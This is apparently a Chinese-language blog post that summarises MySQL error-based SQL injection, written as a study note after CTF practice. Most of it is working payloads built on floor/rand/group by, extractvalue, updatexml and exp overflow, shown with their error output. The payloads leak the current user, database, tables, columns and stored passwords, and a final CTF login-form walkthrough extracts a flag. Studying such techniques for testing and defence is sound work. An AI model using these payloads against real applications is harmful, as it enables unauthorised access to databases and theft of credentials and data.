V0W's Blog

MySQL 报错注入总结

字数统计: 2,322阅读时长: 11 min
2018/08/03 Share

MySQL 报错注入(Error Based Injection)总结

前言

利用数据库报错来显示数据的注入方式经常会在入侵中利用到,这种方法有一点局限性,需要页面有错误回显。

而MySQL的报错方式很多,以前就接触到很多,最近也是做了一些关于这方面CTF的题目,学习到很多之前遗漏的姿势,故总结一下,以免遗忘。

报错注入(Error based Injection)

MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入分为以下几类:

  • BigInt等数据类型溢出
  • xpath语法错误
  • count()+rand()+group_by()导致逐渐重复
  • 空间数据类型函数错误

很多函数会导致MySQL报错并显示出数据。

  • floor()
  • extractvalue()
  • updatexml()
  • exp()

MySQL 测试数据

user.sql

1
2
3
4
5
6
7
8
9
10
11
12
CREATE TABLE IF NOT EXISTS `user` (
`id` int(10) NOT NULL,
`Username` varchar(20) NOT NULL,
`Age` int(10) NOT NULL,
`Password` varchar(20) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

INSERT INTO `user` (`id`, `Username`, `Age`, `Password`) VALUES
(1, 'olivia', 18, 'slimslim'),
(2, 'qingchen', 18, 'meimima123'),
(3, 'hack', 1, 'love_pwn'),
(4, 'someome', 3, 'p@55w0rd');

floor()

注入语句

1
2
3
4
5
mysql> select * from user where id=1 and (select 1 from (SELECT COUNT(*),CONCAT((SELECT user()),FLOOR(RAND(0)*2))x from user group by x)a);

简化为:
mysql> SELECT COUNT(*) FROM user GROUP BY FLOOR(RAND(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
  • floor:函数只返回整数部分,小数部分舍弃。
  • round:函数四舍五入,大于0.5的部分进位,不到则舍弃。

    语句拆分

    (select 1 from a) //在a上做派生表
    b=select count(),x from user group by x //从user里面选取那么的内容和计数的内容
    name=concat((查询内容),floor(rand(0)
    2)) //把查询内容和随机取整数 连接在一起

报错原理

目前比较常见的几种报错注入的方法都是利用了mysql某些不能称为bug的bug来实现的。

下面就以 rand() 函数来进行说明。mysql的官方文档中对 rand() 函数有特殊的说明:

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. However, you can retrieve rows in random order like this:

官方文档中的意思是:在where语句中,where每执行一次,rand()函数就会被计算一次。rand()不能作为order by的条件字段,同理也不能作为group by的条件字段。

因此在mysql中,可以构造一个值不确定而有可重复的字段作为group by的条件字段,这是就可以报出类似于Duplicate entry '…' for key 'group_key'的错误。

另外,经过测试
rand()会随机报错,就是有可能报错,有的时候不会,
rand(0)肯定会报错,rand(1)则一定不会报错。
所以要让他报错的话直接用rand(0)

测试

1
2
3
4
5
6
7
8
mysql> select * from user where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from user group by x)a);
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key '<group_key>'

mysql> select * from user where id=1 and (select 1 from (select count(*),concat(database(),'|',floor(rand(0)*2))x from user group by x)a);
ERROR 1062 (23000): Duplicate entry 'test|1' for key '<group_key>'

mysql> select * from user where id=1 and (select 1 from (select count(*),concat(table_name,floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'global_status0' for key '<group_key>'

关于更多该语句报错原理的内容,可以参考这篇大佬的文章

extractvalue()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

注入语句

1
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

报错原理

1
EXTRACTVALUE (XML_document, XPath_string);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串).
  • 作用:从目标XML中返回包含所查询值的字符串

第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~test~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test'),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~user~'

select * from user where id=1 and (extractvalue(1,concat(0x7e,(select group_concat(comlumn_name) from information_schema.columns where table_schema='test' and table_name='user'),00x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~id,Username,Age,Password~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select concat(id,'|',Username,'|',Password) from user where id=1),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~1|olivia|slimslim~'

mysql> select * from user where id=1 and (extractvalue(1,concat(0x7e,(select group_concat(password) from user),0x7e)));
ERROR 1105 (HY000): XPATH syntax error: '~slimslim,meimima123,love_pwn,p@'

值得注意的是,extractvalue()报错长度是有限制的,最长32位。(从最后一句测试,也可以看出)

updatexml()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

注入语句

1
select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

报错原理

1
UPDATEXML (XML_document, XPath_string, new_value);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

其实原理和extractvalue()是一样的,利用Xpath格式字符串不符合要求达到报错的效果,但是不一样的是,updatexml()有3个参数,要注意这一点。

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~test~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test'),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~user~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='user'),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~id,Username,Age,Password~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select concat(id,'|',Username,'|',Password) from user where id=1),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~1|olivia|slimslim~'

mysql> select * from user where id=1 and (updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~slimslim,meimima123,love_pwn,p@'

值得注意的是,updatexml()和extractvalue()一样,报错长度是有限制的,最长32位。(从最后一句测试,也可以看出)

exp()

在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。

利用exp函数也产生类似的溢出错误

注入语句

1
2
mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'

注意,exp()产生错误,但是并没有爆出database(),但是发现database() 是表达式,在脚本语言中会转化为相应的值,从而爆出数据库名。

报错原理

exp是以e为底的指数函数,但是,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。

1
2
3
4
5
6
7
8
9
10
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

mysql> select ~(select version());
+----------------------+
| ~(select version()) |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

1
2
mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'

在脚本语言中,就会将错误中的一些表达式转化成相应的字符串,从而爆出数据。

测试

由于exp()报错的表达式在脚本语言中才会转化为相应的值,下面用实验吧上一道题目来演示说明exp()报错注入。

1
2
3
4
5
6
7
8
9
10
11
username=&password=' or  exp(~(select * from(select database())x)) or' 
DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'

username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where !(table_schema <> database()))a)) or '
DOUBLE value is out of range in 'exp(~((select 'ffll44jj,users' from dual)))'

username=&password=' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a)) or '
DOUBLE value is out of range in 'exp(~((select 'value' from dual)))'

username=&password=' or exp(~(select * from(select value from ffll44jj)z)) or '
DOUBLE value is out of range in 'exp(~((select 'flag{err0r_b4sed_sqli_+_hpf}' from dual)))'

参考链接

  1. 几种常见的 MySQL 报错注入
  2. MySQL Error Based SQL Injection (报错注入)总结
CATALOG
  1. 1. MySQL 报错注入(Error Based Injection)总结
    1. 1.1. 前言
    2. 1.2. 报错注入(Error based Injection)
    3. 1.3. MySQL 测试数据
    4. 1.4. floor()
      1. 1.4.1. 注入语句
      2. 1.4.2. 报错原理
      3. 1.4.3. 测试
    5. 1.5. extractvalue()
      1. 1.5.1. 注入语句
      2. 1.5.2. 报错原理
      3. 1.5.3. 测试
    6. 1.6. updatexml()
      1. 1.6.1. 注入语句
      2. 1.6.2. 报错原理
      3. 1.6.3. 测试
    7. 1.7. exp()
      1. 1.7.1. 注入语句
      2. 1.7.2. 报错原理
      3. 1.7.3. 测试
    8. 1.8. 参考链接